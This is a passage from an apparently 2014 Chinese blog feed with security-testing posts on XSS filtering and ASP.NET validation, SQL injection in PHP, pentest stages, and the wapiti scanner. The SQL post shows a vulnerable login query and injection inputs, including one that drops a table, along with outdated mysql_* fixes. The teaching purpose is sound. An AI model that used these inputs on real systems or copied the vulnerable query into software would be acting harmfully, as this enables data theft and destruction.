例如在baidu中搜索"测试汉字"。 URL会变成</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&amp;rsv_bp=0&amp;rsv_spt=3&amp;inputT=7477</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　所谓URL编码就是：　把所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数，空格则编码为加号（+）</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　在C#中已经提供了现成的方法，只要调用HttpUtility.UrlEncode("string &lt;scritp&gt;") 就可以了。 &nbsp;（需要引用System.Web程序集）</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">浏览器中的XSS过滤器</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　为了防止发生XSS， 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8，IE9，Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=44830" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403061336024obrH.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　如果需要做测试， 最好使用IE7。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">ASP.NET中的XSS安全机制</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　ASP.NET中有防范XSS的机制，对提交的表单会自动检查是否存在XSS，当用户试图输入XSS代码的时候，ASP.NET会抛出一个错误如下图</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=44831" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403061336025ues3.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　很多程序员对安全没有概念， 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个&#8221;较安全的网站&#8220;。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　如果想禁止这个安全特性， 可以通过 &lt;%@ &nbsp;Page &nbsp;validateRequest=&#8220;false" &nbsp;%&gt;</div></div></div></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff; height: 21px; position: relative; width: 627.1875px;"></div><img src ="http://www.blogjava.net/qileilove/aggbug/410849.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-03-11 10:52 <a href="http://www.blogjava.net/qileilove/archive/2014/03/11/410849.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP代码网站防范SQL注入漏洞攻击的建议</title><link>http://www.blogjava.net/qileilove/archive/2014/03/07/410717.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Fri, 07 Mar 2014 02:58:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/03/07/410717.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/410717.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/03/07/410717.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/410717.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/410717.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　所有的网站管理员都会关心网站的安全问题。说到安全就不得不说到<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;"></strong></u></a><u style="word-break: break-all; line-height: normal !important;"><strong style="word-break: break-all;"><a target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入</strong></u>攻击（SQL Injection）。黑客通过SQL注入攻击可以拿到网站<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>的访问权限，之后他们就可以拿到网站数据库中所有的数据，恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨，当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库。今天就通过PHP和<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">MySQL</strong></u></a>数据库为例，分享一下我所了解的SQL注入攻击和一些简单的防范措施和一些如何避免SQL注入攻击的建议。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">什么是SQL注入（SQL Injection）？</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　简单来说，SQL注入是使用代码漏洞来获取网站或应用程序后台的SQL数据库中的数据，进而可以取得数据库的访问权限。比如，黑客可以利用网站代码的漏洞，使用SQL注入的方式取得一个公司网站后台数据库里所有的数据信息。拿到数据库管理员登录用户名和密码后黑客可以自由修改数据库中的内容甚至删除该数据库。SQL注入也可以用来检验一个网站或应用的安全性。SQL注入的方式有很多种，但本文将只讨论最基本的原理，我们将以PHP和MySQL为例。本文的例子很简单，如果你使用其它语言理解起来也不会有难度，重点关注SQL命令即可。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">一个简单的SQL注入攻击案例</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　假如我们有一个公司网站，在网站的后台数据库中保存了所有的客户数据等重要信息。假如网站登录页面的代码中有这样一条命令来读取用户信息。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;?</div><div style="word-break: break-all; margin: 10px 0px;">$q = "SELECT `id` FROM `users` WHERE `username`= ' " .$_GET['username']. " ' AND `password`= ' " .$_GET['password']. " ' ";</div><div style="word-break: break-all; margin: 10px 0px;">?&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　现在有一个黑客想攻击你的数据库，他会尝试在此登录页面的用户名的输入框中输入以下代码：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　' ; SHOW TABLES;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　点击登陆键，这个页面就会显示出数据库中的所有表。如果他现在使用下面这行命令：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　'; DROP TABLE [table name];</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　这样他就把一张表删除了！</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　当然，这只是一个很简单的例子，实际的SQL注入方法比这个要复杂得多，黑客也愿意花大量的时间来不断尝试来攻击你的代码。有一些程序软件也可以自动地来不断尝试SQL注入攻击。了解了SQL注入的攻击原理后，我们来看一下如何防范SQL注入攻击。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　防范SQL注入 - 使用mysql_real_escape_string()函数</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　在数据库操作的代码中用这个函数mysql_real_escape_string()可以将代码中特殊字符过滤掉，如引号等。如下例：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;?</div><div style="word-break: break-all; margin: 10px 0px;">$q = "SELECT `id` FROM `users` WHERE `username`= ' " .mysql_real_escape_string( $_GET['username'] ). " ' AND `password`= ' " .mysql_real_escape_string( $_GET['password'] ). " ' ";</div><div style="word-break: break-all; margin: 10px 0px;">?&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">防范SQL注入 - 使用mysql_query()函数</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　mysql_query()的特别是它将只执行SQL代码的第一条，而后面的并不会执行。回想在最前面的例子中，黑客通过代码来例后台执行了多条SQL命令，显示出了所有表的名称。所以mysql_query()函数可以取到进一步保护的作用。我们进一步演化刚才的代码就得到了下面的代码：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;?</div><div style="word-break: break-all; margin: 10px 0px;">//connection</div><div style="word-break: break-all; margin: 10px 0px;">$database = mysql_connect("localhost", "username","password");</div><div style="word-break: break-all; margin: 10px 0px;">//db selection</div><div style="word-break: break-all; margin: 10px 0px;">mysql_select_db("database", $database);</div><div style="word-break: break-all; margin: 10px 0px;">$q = mysql_query("SELECT `id` FROM `users` WHERE `username`= ' " .mysql_real_escape_string( $_GET['username'] ). " ' AND `password`= ' " .mysql_real_escape_string( $_GET['password'] ). " ' ", $database);</div><div style="word-break: break-all; margin: 10px 0px;">?&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　除此之外，我们还可以在PHP代码中判断输入值的长度，或者专门用一个函数来检查输入的值。所以在接受用户输入值的地方一定要做好输入内容的过滤和检查。当然<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">学习</strong></u></a>和了解最新的SQL注入方式也非常重要，这样才能做到有目的的防范。如果使用的是平台式的网站系统如Wordpress，要注意及时打上官方的补丁或升级到新的版本。如果有讲得不对的地方或不理解的请在评论区留言。</div><img src ="http://www.blogjava.net/qileilove/aggbug/410717.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-03-07 10:58 <a href="http://www.blogjava.net/qileilove/archive/2014/03/07/410717.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>渗透测试基本流程</title><link>http://www.blogjava.net/qileilove/archive/2014/03/06/410670.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 06 Mar 2014 02:32:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/03/06/410670.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/410670.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/03/06/410670.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/410670.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/410670.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;"><a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">渗透测试</strong></u></a>的基本流程</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　渗透测试一定要按照必要的流程才能更大地提高渗透测试的成功性，所以我们应该要好好地清楚渗透测试必要的流程。我们可以把渗透测试的流程分为6个阶段，这6个阶段都是必不可少的。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　1：前期交互</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　这个阶段是指与客户交流渗透测试的要求和确定和渗透团队确定攻击的范围。该阶段是收集客户的要求，并制定渗透测试的计划和对团队每个人的分配<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　2：收集渗透目标的情报</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　收集渗透目标的情报是最重要的阶段。如果收集到有用的情报资料的话，可以大大提高对渗透测试的成功性。收集渗透目标的情报一般是对目标系统的分析，扫描探测，服务查点，扫描对方漏洞，查找对方系统IP等等。有时候渗透测试者也会使用上社会工程学。渗透测试者会尽力收集目标系统的配置与安全防御以及防火墙等等。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">3：与团队交流阶段（本阶段适用于团队）</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　收集好目标系统的情报后，不要急于渗透目标系统，要与渗透团队进行头脑风暴。往往一个人的力量是不够的，团队集合起交流的力量是非常强大的。因为团队里面每一个人所拥有的特点和特长都会不一样。大家交流的话，可以取长补短。所以与团队交流这个阶段可以确定更快，更容易地制定入侵目标系统的方案。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">4：漏洞分析阶段</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　漏洞分析阶段要综合以上所有的阶段收集回来的情报。特别是漏洞扫描结果，服务器的配置，防火墙的使用情况情报最为重要。渗透测试者可以根据以上的情报进行开发渗透代码。渗透测试者会找出目标系统的安全漏洞和挖掘系统拥有的未知漏洞进行渗透。漏洞分析阶段是进行攻击的重要阶段。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　5：渗透攻击阶段</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　来到渗透攻击的阶段渗透测试者就要利用找到的目标系统漏洞进行渗透入侵，从而得到管理权限。渗透攻击的代码可以利用公开的渠道获取渗透代码，也可以由渗透测试者马上开发针对目标系统的渗透代码。如果是<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">黑盒测试</strong></u></a>的话，渗透攻击的难度就会加多许多。黑盒测试要考虑到目标系统的检测机制，和要防止被目标系统的应急响应团队的追踪。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">6：报告阶段</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　渗透测试的过程和挖掘出的安全漏洞最终都会报告给客户。渗透测试员一般都会提交渗透时发现目标系统的不足，安全漏洞，配置的问题，防火墙的问题等等。以及渗透测试员会帮助他们进行对安全漏洞的修复，和其他问题的建议与帮助等等。</div><img src ="http://www.blogjava.net/qileilove/aggbug/410670.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-03-06 10:32 <a href="http://www.blogjava.net/qileilove/archive/2014/03/06/410670.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>黑盒自动化WEB安全测试的实施</title><link>http://www.blogjava.net/qileilove/archive/2014/03/06/410666.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 06 Mar 2014 02:15:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/03/06/410666.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/410666.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/03/06/410666.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/410666.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/410666.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">1.什么是<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">安全测试</strong></u></a>（What）？</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　安全测试就是要提供证据表明，在面对敌意和恶意输入的时候，应用仍然能够充分的满足它的需求。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　a.如何提供证据？ 我们通过一组失败的安全<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试用例</strong></u></a>执行结果来证明<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>应用不满足安全需求。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　b.如何看待安全测试的需求？与<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">功能测试</strong></u></a>相比，安全测试更加依赖于需求，因为它有更多可能的输入和输出可供筛选。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　真正的软件安全其实际上指的是风险管理，即我们确保软件的安全程度满足业务需要即可。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　2. 如何开展（How to）？</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　基于常见攻击和漏洞并结合实际添加安全测试用例，就是如何将安全测试变为日常功能测试中简单和普通的一部分的方法。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　选择具有安全意义的特殊边界值，以及具有安全意义的特殊等价类，并将这些融入到我们的测试规划和测试策略过程中。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　但是若在功能测试基础上进行安全测试，则需要增加大量测试用例。这意味着必须做两件事来使其便于管理：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　缩小关注的重点和测试自动化。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　黑盒安全测试自动化的实施：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　使用工具：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　1.wapiti</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　a.简介：wapiti：开源安全测试漏洞检测工具(Web application vulnerability scanner / security auditor)</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">Wapiti allows you to audit the security of your web applications. It performs "black-box" scans,</div><div style="word-break: break-all; margin: 10px 0px;">i.e. it does not study the source code of the application but will scans the web pages of the deployed web applications,</div><div style="word-break: break-all; margin: 10px 0px;">looking for scripts and forms where it can inject data. Once it gets this list, Wapiti acts like a fuzzer,</div><div style="word-break: break-all; margin: 10px 0px;">injecting payloads to see if a script is vulnerable. Wapiti can detect the following vulnerabilities:</div><div style="word-break: break-all; margin: 10px 0px;">File Handling Errors (Local and remote include/require, fopen, ...)</div><div style="word-break: break-all; margin: 10px 0px;">Database Injection (PHP/JSP/ASP&nbsp;<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>&nbsp;Injections and XPath Injections)</div><div style="word-break: break-all; margin: 10px 0px;">XSS (Cross Site Scripting) Injection</div><div style="word-break: break-all; margin: 10px 0px;">LDAP Injection</div><div style="word-break: break-all; margin: 10px 0px;">Command Execution detection (eval(), system(), passtru()...)</div><div style="word-break: break-all; margin: 10px 0px;">CRLF Injection (HTTP Response Splitting, session fixation...)</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　---------------------------------------------------------------------------------------</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">功能和特点：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　文件处理错误(本地和远程打开文件，readfile ... )</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>注入(PHP/JSP/ASP，SQL和XPath注入)</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　XSS(跨站点脚本)注入</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　LDAP注入</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　命令执行检测(eval(), system(), passtru()...)</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　CRLF注射入(HTTP响应，session固定... )</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　----------------</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　统计漏洞数量</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　成功袭击的细节</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　漏洞详细信息</div><div style="word-break: break-all; 